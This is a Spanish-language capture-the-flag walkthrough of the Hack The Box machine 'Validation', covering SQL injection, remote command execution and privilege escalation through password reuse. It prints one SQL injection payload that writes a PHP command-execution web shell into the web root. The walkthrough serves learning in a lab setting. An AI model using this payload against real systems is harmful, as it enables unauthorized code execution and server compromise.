Hack The Box - Validation
...

Validation.png

Resumen
...

La máquina Validation inicia con una enumeración de los puertos abiertos con nmap, en donde observamos que existe una página web alojada en el puerto 80, misma que presenta campos que mediante el proxy de Burpsuite se logra descubrir que hay uno vulnerable a inyección SQL, por lo que se va aprovechar esta vulnerabilidad para poder añadir un archivo que nos permita la ejecución remota de comandos (RCE) y obtener acceso como el usuario www-data, para luego proceder a la escalada de privilegios mediante la enumeración de archivos que tengan credenciales como es el caso de config.php, por medio de la reutilización de contraseña tenemos acceso como root y se logra obtener la última flag.

Keywords: SQL Injection, SQLi Error Based, Remote Command Execution, Privilege Escalation

Palabras Clave: Inyección SQL, SQLi Basado en errores, Ejecución Remota de Comandos, Escalada de Privilegios

Reconocimiento
...

En esta sección se procede a enumerar todos los posibles vectores de entrada a la máquina Validation, de froma que se obtenga información pertinente para la explotación de las vulnerabilidades que se van encontrando.

Nmap
...

El escaneo de puertos se va a realizar con la herramienta Nmap, donde podremos observar los servicios alojados en los puertos abiertos y su correspondiente version, a razón de que vamos a utilizar el parámetro -sC para lanzar un conjunto de scripts básicos con el propósito de enumerar los servicios existentes y el parámetro -sV para obtener la versión de los servicios encontrados.

0_reporte_nmap.png

La máquina posee el puerto 80 abierto por lo que se va a proceder a revisar la página web alojada.

Enumeración
...

Puerto TCP: 80 - HTTP
...

En la página web alojada en el puerto tcp 80 se logra ver las técnologías utilizadas mediante la extensión web Wappalyzer de las cuales la principales son: PHP 7.4.23, Apache 2.4.48 y jQuery 3.2.1.

0_sPaginaPrincipal.png

Burpsuite - Revisión de posible Inyección SQL
...

Se va a proceder a revisar los campos que se envían por método POST, utilizando Burpsuite. Observando el comportamiento de la página al momento de enviar los datos sin ningún tipo de inyección salta un error indicando que no estás registrado, por lo que vamos a copiar la cookie que se muestra en la respuesta antes de hacer click en \textbf{Follow redirection} y la pegamos en la nuestra zona de petición.

1_Burpsuite_Cookie.png

Enviamos la petición con la cookie que se copió anteriormente para observar que respuesta brinda el servidor sin ejecutar ningun tipo de inyección aún, de esta manera se puede analizar el comportamiento de la página.

2_Burpsuite_SetCookie.png

A continuación, vemos la respuesta del servidor donde nos redirige a una página account.php, en el cual se observa en pantalla el país seleccionado en el lixtbox (campo country) y lo que se ha escrito en el input text (campo username).

3_Burpsuite_NormalResponse.png

Se realiza algunas pruebas de inyección SQL en los campos usarname y country, donde el campo que es vulnerable a SQLi es el segundo mencionado, porque al momento de enviar un sleep(5) la página procede a demorar cinco segundos en recargar.

4_Burpsuite_campoInyectable.png

Conociendo que el campo country es inyectable, vamos a proceder hacer una inyección SQL union based para observar algún cambio en la página.

5_Burpsuite_SQLI.png

Explotación
...

SQLi Union Based
...

En la respuesta del servidor, la etiqueta html <li> pone la información que colocamos en la inyección SQL Union Based, por lo que ahora se va a a inyectar código PHP para poder hacer un RCE (Ejecución Remota de Comandos por sus siglas en inglés) y obtener acceso a la máquina, el archivo lo vamos a crear en el directorio /var/www/html y le vamos a llamar reverse_shell.

username=luis&country=Brazil' UNION SELECT "<?php SYSTEM($_REQUEST['cmd']) ?>" INTO OUTFILE "/var/www/html/reverse_shell.php"-- -

6_Burpsuite_SQLI_INTO_OUTFILE_BEFORE.png

Después de enviar la petición con la inyección SQL para poder tener una RCE, se obtiene la siguiente respuesta del servidor.

7_Burpsuite_SQLI_INTO_OUTFILE_AFTER.png

Shell as www-data
...

Se procede a dirigir al navegador a la siguiente ubicación http://10.10.11.16/reverse\_shell.php/?cmd=id y se tiene que observar en la página la identificador del usuario www-data, confirmando que se ha logrado de manera exitosa el LFI y ejecutar comandos.

8_RCE.png

Para obtener una reverse shell, se coloca un one liner que nos permite entablecer una coneción hacia nuestra máquina por un puerto que especifiquemos, en este caso se va a estar en escucha por el puerto 443, por la ip que nos brinda la VPN de Hack The Box.

9_Shell_www-data.png

Escalada de Privilegios
...

Shell as root
...

Teniendo acceso a la máquina se procede a buscar maneras de obtener acceso como root, por lo que procedemos a buscar archivos de configuración en el directorio /var/www para revisar si poseen credenciales que se puedan utilizar.

10_Find_Credentials.png

Existe una contraseña, que se puede probar como contraseña de root, porque puede existir una posibilidad de reutilización de contraseña.

11_Shell_root.png

Y efectivamente, hemos comprobado que existe reutilización de contraseña y obtenemos una shell como root. Por lo que hemos concluido con la máquina Validation